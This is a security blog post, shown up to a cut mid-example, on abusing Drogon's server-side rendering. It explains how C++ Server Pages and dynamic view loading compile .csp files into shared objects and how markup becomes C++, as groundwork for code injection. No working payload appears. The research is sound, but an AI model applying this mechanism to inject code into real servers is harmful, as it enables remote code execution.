&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 666 / 500&quot; alt=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; title=&quot;Every time I find an unintended solution, a new one is just around the corner.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal-666w.webp 666w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 666px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Every time I find an unintended solution, a new one is just around the corner.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;drogon-redux&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#drogon-redux&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Drogon Redux&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/drogonframework/drogon&quot;&gt;Drogon&lt;/a&gt; is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.&lt;/p&gt;
&lt;p&gt;Drogon&#39;s server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as &lt;code&gt;&amp;lt;%inc ... %&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt;, and &lt;code&gt;{% ... %}&lt;/code&gt;, which are evaluated when rendered.&lt;/p&gt;
&lt;h3 id=&quot;simple-view-example&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#simple-view-example&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Simple View Example&lt;/h3&gt;
&lt;p&gt;Here&#39;s a simple example of a CSP:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;DOCTYPE html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hi &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Bye &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We can specify C++ control-flow logic with &lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt; and substitute variables with &lt;code&gt;[[ ... ]]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To render this file, we&#39;ll call &lt;code&gt;newHttpViewResponse&lt;/code&gt; and pass a &lt;code&gt;name&lt;/code&gt; from the URL endpoint:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;main.cpp&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;registerHandler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;/hello/{}&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HttpRequestPtr&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;function&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HttpResponsePtr&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; callback&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        HttpViewData data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        data&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpResponse&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newHttpViewResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Example.csp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;main.cpp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After starting the server, we can run &lt;code&gt;curl 127.0.0.1:8080/hello/Picard&lt;/code&gt; and observe the following HTML:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-copy-off=&quot;&quot; class=&quot;language-html&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token doctype&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span class=&quot;token doctype-tag&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;token name&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Hi Picard&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;HTML&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;why-use-dynamic-views&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#why-use-dynamic-views&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Why Use Dynamic Views?&lt;/h3&gt;
&lt;p&gt;This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.&lt;/p&gt;
&lt;p&gt;To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token property&quot;&gt;&quot;load_dynamic_views&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token property&quot;&gt;&quot;dynamic_views_path&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;or use the C++ equivalent:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;enableDynamicViewsLoading&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./views/d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Drogon will then actively monitor the file path for new/modified .csp files.&lt;/p&gt;
&lt;h3 id=&quot;dynamic-views-compilation-and-loading&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#dynamic-views-compilation-and-loading&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Dynamic Views: Compilation and Loading&lt;/h3&gt;
&lt;p&gt;How do dynamic views work in Drogon?&lt;/p&gt;
&lt;p&gt;After all, C++ is compiled, not interpreted.&lt;/p&gt;
&lt;p&gt;But it&#39;s possible to load compiled code at runtime through &lt;a href=&quot;https://en.wikipedia.org/wiki/Shared_library&quot;&gt;shared objects&lt;/a&gt;. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Flow Chart of Dynamic Views Loading&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 404 / 412&quot; alt=&quot;Flow Chart of Dynamic Views Loading&quot; title=&quot;Flow Chart of Dynamic Views Loading&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-404w.webp 404w&quot; sizes=&quot;(max-width: 256px) 256px, 404px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Flow Chart of Dynamic Views Loading&lt;/sup&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The user writes a .csp file to the dynamic view path. The rest is up to Drogon.&lt;/li&gt;
&lt;li&gt;Drogon detects the new/modified .csp files.&lt;/li&gt;
&lt;li&gt;Drogon translates the .csp to a regular C++ .h and .cc file, using the &lt;code&gt;drogon_ctl&lt;/code&gt; command-line tool.&lt;/li&gt;
&lt;li&gt;The .cc is compiled into a shared object (.so) using the &lt;code&gt;-shared&lt;/code&gt; flag.&lt;/li&gt;
&lt;li&gt;The .so is loaded with &lt;code&gt;dlopen&lt;/code&gt;, after previous versions are unloaded with &lt;code&gt;dlclose&lt;/code&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;The new/updated view can now be used in application code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All of this happens in &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc&quot;&gt;SharedLibManager.cc&lt;/a&gt;. Feel free to take a gander.&lt;/p&gt;
&lt;h3 id=&quot;from-csp-markup-to-c&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#from-csp-markup-to-c&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; From CSP Markup to C++&lt;/h3&gt;
&lt;p&gt;Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?&lt;/p&gt;
&lt;p&gt;This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;drogon_ctl create view Example.csp&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;which generates Example.h and Example.cc.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at how C++ is generated from markup.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;%c++ ... %&amp;gt;&lt;/code&gt; - content inside this tag is inserted into a &lt;code&gt;genText()&lt;/code&gt; function.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Example&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h2&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;Hello world&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h2&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.cc&quot; data-copy-off=&quot;&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Boilerplate: includes...&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; drogon&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string &lt;span class=&quot;token class-name&quot;&gt;Example&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;genText&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; DrTemplateData&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; Example_view_data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    drogon&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;OStringStream Example_tmp_stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string layoutName&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h1&amp;gt;Example&amp;lt;/h1&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; 
    Example_tmp_stream &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h2&amp;gt;Hello world!&amp;lt;/h2&amp;gt;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Boilerplate: convert stream to string and return...&lt;/span&gt;
